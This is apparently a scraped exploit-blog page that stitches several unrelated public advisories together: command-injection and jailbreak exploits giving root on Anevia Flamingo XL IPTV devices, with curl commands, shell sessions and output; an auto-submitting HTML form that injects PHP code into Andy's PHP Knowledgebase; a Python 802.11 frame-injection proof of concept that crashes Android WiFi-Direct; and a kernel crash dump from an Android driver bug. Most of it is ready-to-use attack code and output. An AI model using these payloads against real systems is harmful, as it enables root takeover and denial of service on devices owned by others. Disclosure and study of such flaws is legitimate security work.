Exploit Title: Anevia Flamingo XL 3.6.20 - Authenticated Root Remote Code Execution
Exploit Author: LiquidWorm
Vendor: Ateme
Product web page: https://www.ateme.com
Affected version: 3.6.20, 3.2.9
Hardware revision 1.1, 1.0
SoapLive 2.4.1, 2.0.3
SoapSystem 1.3.1
Summary: Flamingo XL, a new modular and high-density IPTV head-end
product for hospitality and corporate markets. Flamingo XL captures
live TV and radio content from satellite, cable, digital terrestrial
and analog sources before streaming it over IP networks to STBs, PCs
or other IP-connected devices. The Flamingo XL is based upon a modular
4U rack hardware platform that allows hospitality and corporate video
service providers to deliver a mix of channels from various sources
over internal IP networks.
Desc: The affected device suffers from authenticated remote code
execution vulnerability. A remote attacker can exploit this issue
and execute arbitrary system commands granting her system access
with root privileges.
Tested on: GNU/Linux 3.1.4 (x86_64)
Apache/2.2.15 (Unix)
mod_ssl/2.2.15
OpenSSL/0.9.8g
DAV/2
PHP/5.3.6
Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
@zeroscience
Advisory ID: ZSL-2023-5779
Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2023-5779.php
13.04.2023
--
> curl -vL http://192.168.1.1/admin/time.php -H "Cookie: PHPSESSID=i3nu7de9vv0q9pi4a8eg8v71b4" -d "ntp=`id`&request=ntp&update=Sync" |findstr root
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
0 0 0 0 0 0 0 0 --:--:-- --:--:-- --:--:-- 0* Trying 192.168.1.1:80...
* Connected to 192.168.1.1 (192.168.1.1) port 80 (#0)
> POST /admin/time.php HTTP/1.1
> Host: 192.168.1.1
> User-Agent: curl/8.0.1
> Accept: */*
> Cookie: PHPSESSID=i3nu7de9vv0q9pi4a8eg8v71b4
> Content-Length: 32
> Content-Type: application/x-www-form-urlencoded
>
} [32 bytes data]
100 32 0 0 100 32 0 25 0:00:01 0:00:01 --:--:-- 25< HTTP/1.1 302 Found
< Date: Thu, 13 Apr 2023 23:54:15 GMT
< Server: Apache/2.2.15 (Unix) mod_ssl/2.2.15 OpenSSL/0.9.8g DAV/2 PHP/5.3.6
< X-Powered-By: PHP/5.3.6
< Expires: Thu, 19 Nov 1981 08:52:00 GMT
< Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
< Pragma: no-cache
* Please rewind output before next send
< Location: /admin/time.php
< Transfer-Encoding: chunked
< Content-Type: text/html
<
* Ignoring the response-body
{ [5 bytes data]
100 32 0 0 100 32 0 19 0:00:01 0:00:01 --:--:-- 19
* Connection #0 to host 192.168.1.1 left intact
* Issue another request to this URL: 'http://192.168.1.1/admin/time.php'
* Switch from POST to GET
* Found bundle for host: 0x1de6c6321b0 [serially]
* Re-using existing connection #0 with host 192.168.1.1
> POST /admin/time.php HTTP/1.1
> Host: 192.168.1.1
> User-Agent: curl/8.0.1
> Accept: */*
> Cookie: PHPSESSID=i3nu7de9vv0q9pi4a8eg8v71b4
>
< HTTP/1.1 200 OK
< Date: Thu, 13 Apr 2023 23:54:17 GMT
< Server: Apache/2.2.15 (Unix) mod_ssl/2.2.15 OpenSSL/0.9.8g DAV/2 PHP/5.3.6
< X-Powered-By: PHP/5.3.6
< Expires: Thu, 19 Nov 1981 08:52:00 GMT
< Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
< Pragma: no-cache
< Transfer-Encoding: chunked
< Content-Type: text/html
<
{ [13853 bytes data]
14 Apr 03:54:17 ntpdate[8964]: can't find host uid=0(root)<br /> <----------------------<<
14 Apr 03:54:17 ntpdate[8964]: can't find host gid=0(root)<br /> <----------------------<<
100 33896 0 33896 0 0 14891 0 --:--:-- 0:00:02 --:--:-- 99k
* Connection #0 to host 192.168.1.1 left intact
.png.c9b8f3e9eda461da3c0e9ca5ff8c6888.png)
A group blog by Leader in
Hacker Website - Providing Professional Ethical Hacking Services
-
Entries
16114 -
Comments
7952 -
Views
863108942
About this blog
Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.
Entries in this blog
Exploit Title: Anevia Flamingo XL 3.2.9 - Remote Root Jailbreak
Exploit Author: LiquidWorm
Product web page: https://www.ateme.com
Affected version: 3.2.9
Hardware revision 1.0
SoapLive 2.0.3
Summary: Flamingo XL, a new modular and high-density IPTV head-end
product for hospitality and corporate markets. Flamingo XL captures
live TV and radio content from satellite, cable, digital terrestrial
and analog sources before streaming it over IP networks to STBs, PCs
or other IP-connected devices. The Flamingo XL is based upon a modular
4U rack hardware platform that allows hospitality and corporate video
service providers to deliver a mix of channels from various sources
over internal IP networks.
Desc: Once the admin establishes a secure shell session, she gets
dropped into a sandboxed environment using the login binary that
allows specific set of commands. One of those commands that can be
exploited to escape the jailed shell is traceroute. A remote attacker
can breakout of the restricted environment and have full root access
to the device.
Tested on: GNU/Linux 3.1.4 (x86_64)
Apache/2.2.15 (Unix)
mod_ssl/2.2.15
OpenSSL/0.9.8g
DAV/2
PHP/5.3.6
Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
@zeroscience
Advisory ID: ZSL-2023-5780
Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2023-5780.php
13.04.2023
--
$ ssh -o KexAlgorithms=+diffie-hellman-group1-sha1 root@192.168.1.1
The authenticity of host '192.168.1.1 (192.168.1.1)' can't be established.
RSA key fingerprint is SHA256:E6TaDYkszZMbS555THYEPVzv1DpzYrwJzW1TM4+ZSLk.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '192.168.1.1' (RSA) to the list of known hosts.
Anevia Flamingo XL
root@192.168.1.1's password:
Primary-XL> help
available commands:
bonding
config
date
dns
enable
ethconfig
exit
exp
firewall
help
hostname
http
igmpq
imp
ipconfig
license
log
mail
passwd
persistent_logs
ping
reboot
reset
route
serial
settings
sslconfig
tcpdump
timezone
traceroute
upgrade
uptime
version
vlanconfig
Primary-XL> tcpdump ;id
tcpdump: illegal token: ;
Primary-XL> id
unknown command id
Primary-XL> whoami
unknown command whoami
Primary-XL> ping ;id
ping: ;id: Host name lookup failure
Primary-XL> traceroute ;id
BusyBox v1.1.2p2 (2012.04.24-09:33+0000) multi-call binary
Usage: traceroute [-FIldnrv] [-f 1st_ttl] [-m max_ttl] [-p port#] [-q nqueries]
[-s src_addr] [-t tos] [-w wait] [-g gateway] [-i iface]
[-z pausemsecs] host [data size]
trace the route ip packets follow going to "host"
Options:
-F Set the don't fragment bit
-I Use ICMP ECHO instead of UDP datagrams
-l Display the ttl value of the returned packet
-d Set SO_DEBUG options to socket
-n Print hop addresses numerically rather than symbolically
-r Bypass the normal routing tables and send directly to a host
-v Verbose output
-m max_ttl Set the max time-to-live (max number of hops)
-p port# Set the base UDP port number used in probes
(default is 33434)
-q nqueries Set the number of probes per ``ttl'' to nqueries
(default is 3)
-s src_addr Use the following IP address as the source address
-t tos Set the type-of-service in probe packets to the following value
(default 0)
-w wait Set the time (in seconds) to wait for a response to a probe
(default 3 sec)
-g Specify a loose source route gateway (8 maximum)
uid=0(root) gid=0(root) groups=0(root)
Primary-XL> version
Software Revision: Anevia Flamingo XL v3.2.9
Hardware Revision: 1.0
(c) Anevia 2003-2012
Primary-XL> traceroute ;sh
...
...
whoami
root
id
uid=0(root) gid=0(root) groups=0(root)
ls -al
drwxr-xr-x 19 root root 1024 Oct 3 2022 .
drwxr-xr-x 19 root root 1024 Oct 3 2022 ..
drwxr-xr-x 2 root root 1024 Oct 21 2013 bin
drwxrwxrwt 2 root root 40 Oct 3 2022 cores
drwxr-xr-x 13 root root 27648 May 22 00:53 dev
drwxr-xr-x 3 root root 1024 Oct 21 2013 emul
drwxr-xr-x 48 1000 1000 3072 Oct 3 2022 etc
drwxr-xr-x 3 root root 1024 Oct 3 2022 home
drwxr-xr-x 11 root root 3072 Oct 21 2013 lib
lrwxrwxrwx 1 root root 20 Oct 21 2013 lib32 -> /emul/ia32-linux/lib
lrwxrwxrwx 1 root root 3 Oct 21 2013 lib64 -> lib
drwx------ 2 root root 12288 Oct 21 2013 lost+found
drwxr-xr-x 4 root root 1024 Oct 21 2013 mnt
drwxrwxrwt 2 root root 80 May 22 00:45 php_sessions
dr-xr-xr-x 177 root root 0 Oct 3 2022 proc
drwxr-xr-x 4 root root 1024 Oct 21 2013 root
drwxr-xr-x 2 root root 2048 Oct 21 2013 sbin
drwxr-xr-x 12 root root 0 Oct 3 2022 sys
drwxrwxrwt 26 root root 1140 May 22 01:06 tmp
drwxr-xr-x 10 1000 1000 1024 Oct 21 2013 usr
drwxr-xr-x 14 root root 1024 Oct 21 2013 var
ls /var/www/admin
_img configuration.php log_securemedia.php stream_dump.php
_lang cores_and_logs_management.php login.php stream_services
_lib dataminer_handshake.php logout.php streaming.php
_style dvbt.php logs.php support.php
about.php dvbt_scan.php main.php template
ajax export.php manager.php time.php
alarm.php fileprogress.php network.php toto.ts
alarm_view.php firewall.php pear upload_helper.php
authentication.php get_config power.php uptime.php
bridges.php get_enquiry_pending.php read_settings.php usbloader.php
cam.php get_upgrade_error.php receive_helper.php version.php
channel.php heartbeat.php rescrambling webradio.php
channel_xl_list.php include rescrambling.php webtv
check_state input.php resilience webtv.php
class js resilience.php xmltv.php
common license.php restart_service.php
config_snmp.php log.php set_oem.php
python -c 'import pty; pty.spawn("/bin/bash")'
root@Primary-XL:/# cd /usr/local/bin
root@Primary-XL:/usr/local/bin# ls -al login
-rwxr-xr-x 1 root root 35896 Feb 21 2012 login
root@Primary-XL:/usr/local/bin# cd ..
root@Primary-XL:/usr/local# ls commands/
bonding firewall mail timezone
config help passwd traceroute
date hostname persistent_logs upgrade
dbg-serial http ping uptime
dbg-set-oem igmpq route version
dbg-updates-log imp serial vlanconfig
dns ipconfig settings
ethconfig license sslconfig
exp log tcpdump
root@Primary-XL:/usr/local# exit
exit
Primary-XL> enable
password:
Primary-XL# ;]
source: https://www.securityfocus.com/bid/47918/info
Andy's PHP Knowledgebase is prone to a vulnerability that lets remote attackers execute arbitrary code because the application fails to sanitize user-supplied input.
Attackers can exploit this issue to execute arbitrary PHP code within the context of the affected webserver process.
Andy's PHP Knowledgebase 0.95.4 is vulnerable; other versions may also be affected.
<html>
<body onload="document.forms[0].submit()">
<form method="POST" action="http://localhost/aphpkb/install/step5.php">
<input type="hidden" name="install_dbuser" value="');system('calc');//" />
<input type="submit" name="submit" />
</form>
</body>
</html>
Core Security - Corelabs Advisory
http://corelabs.coresecurity.com/
Android WiFi-Direct Denial of Service
1. *Advisory Information*
Title: Android WiFi-Direct Denial of Service
Advisory ID: CORE-2015-0002
Advisory URL:
http://www.coresecurity.com/advisories/android-wifi-direct-denial-service
Date published: 2015-01-26
Date of last update: 2015-01-26
Vendors contacted: Android Security Team
Release mode: User release
2. *Vulnerability Information*
Class: Uncaught Exception [CWE-248]
Impact: Denial of service
Remotely Exploitable: Yes
Locally Exploitable: No
CVE Name: CVE-2014-0997
3. *Vulnerability Description*
Some Android devices are affected by a Denial of Service attack when
scanning for WiFi Direct devices.
An attacker could send a specially crafted 802.11 Probe Response frame
causing the Dalvik subsystem to reboot because of an Unhandle Exception
on WiFiMonitor class.
4. *Vulnerable Packages*
. Nexus 5 - Android 4.4.4
. Nexus 4 - Android 4.4.4
. LG D806 - Android 4.2.2
. Samsung SM-T310 - Android 4.2.2
. Motorola RAZR HD - Android 4.1.2
Other devices could be also affected.
5. *Non-vulnerable packages*
. Android 5.0.1
. Android 5.0.2
6. *Vendor Information, Solutions and Workarounds*
Some mitigation actions may be to avoid using WiFi-Direct or update
to a non-vulnerable Android version.
Contact vendor for further information.
7. *Credits*
This vulnerability was discovered and researched by Andres Blanco
from the CoreLabs
Team. The publication of this advisory was coordinated by the Core
Advisories
Team.
8. *Technical Description / Proof of Concept Code*
Android makes use of a modified *wpa_supplicant*[1]
in order to provide an interface between the wireless driver and the
Android platform framework.
Below the function that handles *wpa_supplicant* events. This function
returns a jstring from calling NewStringUTF method.
/-----
static jstring android_net_wifi_waitForEvent(JNIEnv* env, jobject)
{
char buf[EVENT_BUF_SIZE];
int nread = ::wifi_wait_for_event(buf, sizeof buf);
if (nread > 0) {
return env->NewStringUTF(buf);
} else {
return NULL;
}
}
-----/
The WiFi-Direct specification defines the P2P discovery procedure to
enable P2P
devices to exchange device information, the device name is part of
this information.
The WifiP2pDevice class, located at
/wifi/java/android/net/wifi/p2p/WifiP2pDevice.java,
represents a Wi-Fi p2p device. The constructor method receives the
string provided by
the *wpa_supplicant* and throws an IllegalArgumentException in case
the event is malformed.
Below partial content of the WiFiP2PDevice.java file.
/-----
[...]
/** Detailed device string pattern with WFD info
* Example:
* P2P-DEVICE-FOUND 00:18:6b:de:a3:6e
p2p_dev_addr=00:18:6b:de:a3:6e
* pri_dev_type=1-0050F204-1 name='DWD-300-DEA36E'
config_methods=0x188
* dev_capab=0x21 group_capab=0x9
*/
private static final Pattern detailedDevicePattern =
Pattern.compile(
"((?:[0-9a-f]{2}:){5}[0-9a-f]{2}) " +
"(\\d+ )?" +
"p2p_dev_addr=((?:[0-9a-f]{2}:){5}[0-9a-f]{2}) " +
"pri_dev_type=(\\d+-[0-9a-fA-F]+-\\d+) " +
"name='(.*)' " +
"config_methods=(0x[0-9a-fA-F]+) " +
"dev_capab=(0x[0-9a-fA-F]+) " +
"group_capab=(0x[0-9a-fA-F]+)" +
"( wfd_dev_info=0x000006([0-9a-fA-F]{12}))?"
);
[...]
/**
* @param string formats supported include
* P2P-DEVICE-FOUND fa:7b:7a:42:02:13
p2p_dev_addr=fa:7b:7a:42:02:13
* pri_dev_type=1-0050F204-1 name='p2p-TEST1'
config_methods=0x188 dev_capab=0x27
* group_capab=0x0 wfd_dev_info=000006015d022a0032
*
* P2P-DEVICE-LOST p2p_dev_addr=fa:7b:7a:42:02:13
*
* AP-STA-CONNECTED 42:fc:89:a8:96:09
[p2p_dev_addr=02:90:4c:a0:92:54]
*
* AP-STA-DISCONNECTED 42:fc:89:a8:96:09
[p2p_dev_addr=02:90:4c:a0:92:54]
*
* fa:7b:7a:42:02:13
*
* Note: The events formats can be looked up in the
wpa_supplicant code
* @hide
*/
public WifiP2pDevice(String string) throws
IllegalArgumentException {
String[] tokens = string.split("[ \n]");
Matcher match;
if (tokens.length < 1) {
throw new IllegalArgumentException("Malformed supplicant
event");
}
switch (tokens.length) {
case 1:
/* Just a device address */
deviceAddress = string;
return;
case 2:
match = twoTokenPattern.matcher(string);
if (!match.find()) {
throw new IllegalArgumentException("Malformed
supplicant event");
}
deviceAddress = match.group(2);
return;
case 3:
match = threeTokenPattern.matcher(string);
if (!match.find()) {
throw new IllegalArgumentException("Malformed
supplicant event");
}
deviceAddress = match.group(1);
return;
default:
match = detailedDevicePattern.matcher(string);
if (!match.find()) {
throw new IllegalArgumentException("Malformed
supplicant event");
}
deviceAddress = match.group(3);
primaryDeviceType = match.group(4);
deviceName = match.group(5);
wpsConfigMethodsSupported = parseHex(match.group(6));
deviceCapability = parseHex(match.group(7));
groupCapability = parseHex(match.group(8));
if (match.group(9) != null) {
String str = match.group(10);
wfdInfo = new
WifiP2pWfdInfo(parseHex(str.substring(0,4)),
parseHex(str.substring(4,8)),
parseHex(str.substring(8,12)));
}
break;
}
if (tokens[0].startsWith("P2P-DEVICE-FOUND")) {
status = AVAILABLE;
}
}
[...]
-----/
On some Android devices when processing a probe response frame with a
WiFi-Direct(P2P)
information element that contains a device name attribute with
specific bytes generates
a malformed supplicant event string that ends up throwing the
IllegalArgumentException.
As this exception is not handled the Android system restarts.
Below partial content of the logcat of a Samsung SM-T310 running
Android 4.2.2.
/-----
I/p2p_supplicant( 2832): P2P-DEVICE-FOUND 00.EF.00
p2p_dev_addr=00.EF.00 pri_dev_type=10-0050F204-5 'fa¬¬'
config_methods=0x188 dev_capab=0x21 group_capab=0x0
E/AndroidRuntime( 2129): !@*** FATAL EXCEPTION IN SYSTEM PROCESS:
WifiMonitor
E/AndroidRuntime( 2129): java.lang.IllegalArgumentException:
Malformed supplicant event
E/AndroidRuntime( 2129): at
android.net.wifi.p2p.WifiP2pDevice.<init>(WifiP2pDevice.java:229)
E/AndroidRuntime( 2129): at
android.net.wifi.WifiMonitor$MonitorThread.handleP2pEvents(WifiMonitor.java:966)
E/AndroidRuntime( 2129): at
android.net.wifi.WifiMonitor$MonitorThread.run(WifiMonitor.java:574)
E/android.os.Debug( 2129): !@Dumpstate > dumpstate -k -t -z -d -o
/data/log/dumpstate_sys_error
-----/
8.1. *Proof of Concept*
This PoC was implemented using the open source library Lorcon
[2] and PyLorcon2 [3], a Python wrapper for the Lorcon library.
/-----
#!/usr/bin/env python
import sys
import time
import struct
import PyLorcon2
def get_probe_response(source, destination, channel):
frame = str()
frame += "\x50\x00" # Frame Control
frame += "\x00\x00" # Duration
frame += destination
frame += source
frame += source
frame += "\x00\x00" # Sequence Control
frame += "\x00\x00\x00\x00\x00\x00\x00\x00" # Timestamp
frame += "\x64\x00" # Beacon Interval
frame += "\x30\x04" # Capabilities Information
# SSID IE
frame += "\x00"
frame += "\x07"
frame += "DIRECT-"
# Supported Rates
frame += "\x01"
frame += "\x08"
frame += "\x8C\x12\x98\x24\xB0\x48\x60\x6C"
# DS Parameter Set
frame += "\x03"
frame += "\x01"
frame += struct.pack("B", channel)
# P2P
frame += "\xDD"
frame += "\x27"
frame += "\x50\x6F\x9A"
frame += "\x09"
# P2P Capabilities
frame += "\x02" # ID
frame += "\x02\x00" # Length
frame += "\x21\x00"
# P2P Device Info
frame += "\x0D" # ID
frame += "\x1B\x00" # Length
frame += source
frame += "\x01\x88"
frame += "\x00\x0A\x00\x50\xF2\x04\x00\x05"
frame += "\x00"
frame += "\x10\x11"
frame += "\x00\x06"
frame += "fafa\xFA\xFA"
return frame
def str_to_mac(address):
return "".join(map(lambda i: chr(int(i, 16)), address.split(":")))
if __name__ == "__main__":
if len(sys.argv) != 3:
print "Usage:"
print " poc.py <iface> <target>"
print "Example:"
print " poc.py wlan0 00:11:22:33:44:55"
sys.exit(-1)
iface = sys.argv[1]
destination = str_to_mac(sys.argv[2])
context = PyLorcon2.Context(iface)
context.open_injmon()
channel = 1
source = str_to_mac("00:11:22:33:44:55")
frame = get_probe_response(source, destination, channel)
print "Injecting PoC."
for i in range(100):
context.send_bytes(frame)
time.sleep(0.100)
-----/
9. *Report Timeline*
. 2014-09-26:
Core Security contacts Android security team to inform them that
a vulnerability has been found in Android. Core Security sends a draft
advisory with technical details and PoC files.
. 2014-09-29:
Android Security Team acknowledges reception of the advisory.
. 2014-09-30:
Core Security notifies that the tentative publication date is
set for Oct 20rd, 2014.
. 2014-09-30:
Android Security Team acknowledges.
. 2014-10-16:
Core Security requests a status update.
. 2014-10-16:
Android Security Team responds that they have classify the
vulnerability as low severity and don't currently have a timeline for
releasing a fix.
. 2014-10-20:
Core Security does not completely agrees with the vulnerability
classification and reschedule the publication of the advisory.
. 2014-10-16:
Android Security Team acknowledges and strengthens it's position
that they don't currently have a timeline for releasing a fix.
. 2015-01-06:
Core Security requests a status update.
. 2015-01-12:
Core Security asks for confirmation of reception of the previous
email.
. 2015-01-16:
Android Security Team acknowledges and respond that they don't
currently have a timeline for releasing a fix.
. 2015-01-19:
Core Security notifies that vendor cooperation is needed in
order to keep this process coordinated. If vendor refuses to provide the
requested information the advisory will be released tagged as 'user
release'. The advisory is re-scheduled for January 26th, 2015.
. 2015-01-20:
Android Security Team acknowledges and respond that they don't
currently have a timeline for releasing a fix.
. 2015-01-26:
The advisory CORE-2015-0002 is published.
10. *References*
[1] - wpa_supplicant site. http://w1.fi/wpa_supplicant/
[2] - Lorcon site. https://code.google.com/p/lorcon
[3] - PyLorcon2 site. http://code.google.com/p/pylorcon2
11. *About CoreLabs*
CoreLabs, the research center of Core Security, is charged with
anticipating
the future needs and requirements for information security technologies.
We conduct our research in several important areas of computer security
including system vulnerabilities, cyber attack planning and simulation,
source code auditing, and cryptography. Our results include problem
formalization, identification of vulnerabilities, novel solutions and
prototypes for new technologies. CoreLabs regularly publishes security
advisories, technical papers, project information and shared software
tools for public use at:
http://corelabs.coresecurity.com.
12. *About Core Security Technologies*
Core Security Technologies enables organizations to get ahead of threats
with security test and measurement solutions that continuously identify
and demonstrate real-world exposures to their most critical assets. Our
customers can gain real visibility into their security standing, real
validation of their security controls, and real metrics to more
effectively secure their organizations.
Core Security's software solutions build on over a decade of trusted
research and leading-edge threat expertise from the company's Security
Consulting Services, CoreLabs and Engineering groups. Core Security
Technologies can be reached at +1 (617) 399-6980 or on the Web at:
http://www.coresecurity.com.
13. *Disclaimer*
The contents of this advisory are copyright
(c) 2014 Core Security and (c) 2014 CoreLabs,
and are licensed under a Creative Commons
Attribution Non-Commercial Share-Alike 3.0 (United States) License:
http://creativecommons.org/licenses/by-nc-sa/3.0/us/
14. *PGP/GPG Keys*
This advisory has been signed with the GPG key of Core Security
advisories team, which is available for download at
http://www.coresecurity.com/files/attachments/core_security_advisories.asc.
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=678
The wireless driver for the Android One (sprout) devices has a bad copy_from_user in the handling for the wireless driver socket private read ioctl IOCTL_GET_STRUCT with subcommand PRIV_CMD_SW_CTRL.
This ioctl is permitted for access from the untrusted-app selinux domain, so this is an app-to-kernel privilege escalation from any app with android.permission.INTERNET.
See
hello-jni.tar.gz for a PoC (NDK required to build) that should redirect kernel code execution to 0x40404040.
[ 56.843672]-(0)[880:tx_thread]CPU: 0 PID: 880 Comm: tx_thread Tainted: G W 3.10.57-g9e1c396 #1
[ 56.844867]-(0)[880:tx_thread]task: dea3b480 ti: cb99e000 task.ti: cb99e000
[ 56.845731]-(0)[880:tx_thread]PC is at 0x40404040
[ 56.846319]-(0)[880:tx_thread]LR is at kalDevPortWrite+0x1c8/0x484
[ 56.847092]-(0)[880:tx_thread]pc : [<40404040>] lr : [<c0408be4>] psr: a0000013
[ 56.847092]sp : cb99fdb0 ip : c001813c fp : cb99fe0c
[ 56.848705]-(0)[880:tx_thread]r10: c0cac2f0 r9 : 0000af00 r8 : 00000110
[ 56.849552]-(0)[880:tx_thread]r7 : 0000002c r6 : cc0a63c0 r5 : 00000001 r4 : c0cade08
[ 56.850560]-(0)[880:tx_thread]r3 : 40404040 r2 : 00000040 r1 : dd5d0110 r0 : 00000001
[ 56.851570]-(0)[880:tx_thread]Flags: NzCv IRQs on FIQs on Mode SVC_32 ISA ARM Segment kernel
[ 56.852675]-(0)[880:tx_thread]Control: 10c5387d Table: 9e9b006a DAC: 00000015
[ 56.853585]-(0)[880:tx_thread]
[ 56.853585]LR: 0xc0408b64:
[ 56.854297]8b64 e50b3028 e3a03000 e50b3044 0a00008a e590c0d0 e30639ac e34c30a8 e35c0000
[ 56.855306]8b84 01a0c003 e2851103 e30c3940 e34c30bc e7eb2055 e1a01621 e3a05001 e593e000
[ 56.856314]8ba4 e3a03000 e1a01281 e58d3004 e28114ff e58d5000 e1a03008 e08e1001 e59cc010
[ 56.857323]8bc4 e12fff3c e5943014 e3530000 e50b002c 0a000002 e5933018 e1a00005 e12fff33
[ 56.858332]8be4 e59635cc e2867e5a e2877004 e24b1048 e30650c0 e34c50a6 e1a00007 e5933000
[ 56.859340]8c04 e12fff33 e59635cc e1a00007 e5933004 e12fff33 e5959000 e2899f7d e5953000
[ 56.860349]8c24 e30610c0 e1a00007 e34c10a6 e0693003 e3530000 aa00005b e59635cc e5933010
[ 56.861358]8c44 e12fff33 e3500000 0afffff3 e59635cc e1a00007 e30856a1 e3405001 e5933014
[ 56.862369]-(0)[880:tx_thread]
[ 56.862369]SP: 0xcb99fd30:
[ 56.863083]fd30 00000001 00000110 00000000 40404040 a0000013 ffffffff cb99fd9c 00000110
[ 56.864091]fd50 0000af00 c0cac2f0 cb99fe0c cb99fd68 c000e1d8 c00084b8 00000001 dd5d0110
[ 56.865100]fd70 00000040 40404040 c0cade08 00000001 cc0a63c0 0000002c 00000110 0000af00
[ 56.866108]fd90 c0cac2f0 cb99fe0c c001813c cb99fdb0 c0408be4 40404040 a0000013 ffffffff
[ 56.867117]fdb0 00000001 00000000 c07aeeb8 c029c4b0 c0b9d340 00000110 00000000 00000000
[ 56.868126]fdd0 cb99fdf4 cb99fde0 c07aef68 c009d670 9d5d0000 180f002c e54b6168 e54af000
[ 56.869135]fdf0 e54b5d10 00000110 dd5d0000 00000000 cb99fe6c cb99fe10 c03db164 c0408a28
[ 56.870143]fe10 0000af00 00000004 cb99fe44 cb99fe28 c03eddf4 00000001 00007d10 e54b5d14
[ 56.871155]-(0)[880:tx_thread]
[ 56.871155]IP: 0xc00180bc:
[ 56.871868]80bc ee070f36 e0800002 e1500001 3afffffb f57ff04f e1a0f00e ee103f30 e1a03823
[ 56.872877]80dc e203300f e3a02004 e1a02312 e2423001 e1c00003 ee070f3a e0800002 e1500001
[ 56.873885]80fc 3afffffb f57ff04f e1a0f00e ee103f30 e1a03823 e203300f e3a02004 e1a02312
[ 56.874894]811c e2423001 e1c00003 ee070f3e e0800002 e1500001 3afffffb f57ff04f e1a0f00e
[ 56.875902]813c e0811000 e3320002 0affffd0 eaffffe1 e0811000 e3320001 1affffcc e1a0f00e
[ 56.876911]815c 00007fff 000003ff e1a0c00d e92dd830 e24cb004 e1a05000 e1a00001 ebfffe6a
[ 56.877920]817c e1a04000 e1a00005 ebfffe67 e1a01004 e1a05000 eb09bf2a e1a00005 ebfffeaa
[ 56.878929]819c e1a00004 ebfffea8 e89da830 e1a0c00d e92dd818 e24cb004 ebfffe5b e3a01a01
[ 56.879940]-(0)[880:tx_thread]
[ 56.879940]FP: 0xcb99fd8c:
[ 56.880653]fd8c 0000af00 c0cac2f0 cb99fe0c c001813c cb99fdb0 c0408be4 40404040 a0000013
[ 56.881662]fdac ffffffff 00000001 00000000 c07aeeb8 c029c4b0 c0b9d340 00000110 00000000
[ 56.882671]fdcc 00000000 cb99fdf4 cb99fde0 c07aef68 c009d670 9d5d0000 180f002c e54b6168
[ 56.883679]fdec e54af000 e54b5d10 00000110 dd5d0000 00000000 cb99fe6c cb99fe10 c03db164
[ 56.884688]fe0c c0408a28 0000af00 00000004 cb99fe44 cb99fe28 c03eddf4 00000001 00007d10
[ 56.885697]fe2c e54b5d14 e54af000 00000000 cb99fe6c cb99fe48 c03da49c e54b6168 e54af000
[ 56.886705]fe4c c0cac2f0 00000000 e54af000 00000000 c0cac2f0 cb99fe8c cb99fe70 c03bd0f4
[ 56.887714]fe6c c03dae1c 00000001 00000000 e54b6168 00000000 cb99fee4 cb99fe90 c03bd540
[ 56.888726]-(0)[880:tx_thread]
[ 56.888726]R1: 0xdd5d0090:
[ 56.889439]0090 00000002 60070193 c0a9d860 00000001 00000003 0d050d04 60070193 60070193
[ 56.890447]00b0 c0a8d800 00002ab0 cb99fe9c cb99fe50 c00d3a84 c001ee84 0b93115f 00000000
[ 56.891456]00d0 ffffffff 00000000 00000036 00000000 75fd19aa cb99fea0 e54dfac4 e54dfab8
[ 56.892465]00f0 e54dfac4 60070113 cc0a65f8 c0cac730 cc0a6464 c0cac2f0 cb99fec4 062e062d
[ 56.893473]0110 00000000 c2ec5c43 e91cd01a 3ef74ed2 256fb013 c9a73709 0d15c700 aa03b775
[ 56.894482]0130 10b66433 696d6e70 4f66e845 6fc5d5f5 fffd363f a9960104 61007ab4 5b193ffc
[ 56.895491]0150 25b0d02e 7fbf9ac1 c3de7bb9 b7bc184f 47c837ed 0d3b82cd aa3d7d38 72ac0fad
[ 56.896499]0170 a469220b 96e646bc 49677d77 a6fae9d7 2d03b2c7 a52e0556 16f0641d 96c95111
[ 56.897511]-(0)[880:tx_thread]
[ 56.897511]R4: 0xc0cadd88:
[ 56.898224]dd88 c0cadc88 41414141 41414141 41414141 41414141 41414141 41414141 41414141
[ 56.899233]dda8 41414141 41414141 41414141 41414141 41414141 41414141 41414141 41414141
[ 56.900241]ddc8 41414141 41414141 41414141 41414141 41414141 41414141 41414141 41414141
[ 56.901250]dde8 41414141 41414141 41414141 41414141 41414141 41414141 41414141 41414141
[ 56.902259]de08 41414142 41414141 41414141 41414141 41414141 c0cadc90 000001d3 000001d3
[ 56.903267]de28 000001d2 000000ca 000000c7 00000000 00000000 00000000 00000000 00000000
[ 56.904276]de48 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
[ 56.905285]de68 00000000 00000000 c04265ec 00000000 00000000 00000000 00000000 00000000
[ 56.906297]-(0)[880:tx_thread]
[ 56.906297]R6: 0xcc0a6340:
[ 56.907009]6340 00000000 00000000 00000000 dead4ead ffffffff ffffffff cc0a6358 cc0a6358
[ 56.908018]6360 df8f9674 dfba8764 df8f9684 00000001 c0b45604 00000000 00000000 00000000
[ 56.909027]6380 00000001 de764130 00000000 00000000 c080e18c 00000000 00000000 00000000
[ 56.910035]63a0 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
[ 56.911044]63c0 dd9e1000 00000000 00000075 0000007f 0000a051 00006107 00000000 00000000
[ 56.912053]63e0 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
[ 56.913062]6400 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
[ 56.914070]6420 00000000 cb000000 00000700 00000000 00000000 00000000 00000000 00000000
[ 56.915082]-(0)[880:tx_thread]
[ 56.915082]R10: 0xc0cac270:
[ 56.915806]c270 7f54e330 00000000 7f54e330 00000000 7f5b84c9 00000004 00000000 00000000
[ 56.916814]c290 00000000 00000000 00000001 00000001 00000001 00000000 00000000 00000000
[ 56.917823]c2b0 00000001 00000000 dead4ead ffffffff ffffffff c0cac2c4 c0cac2c4 00000000
[ 56.918832]c2d0 00000000 00000001 600f0113 000c000c dead4ead ffffffff ffffffff 00000000
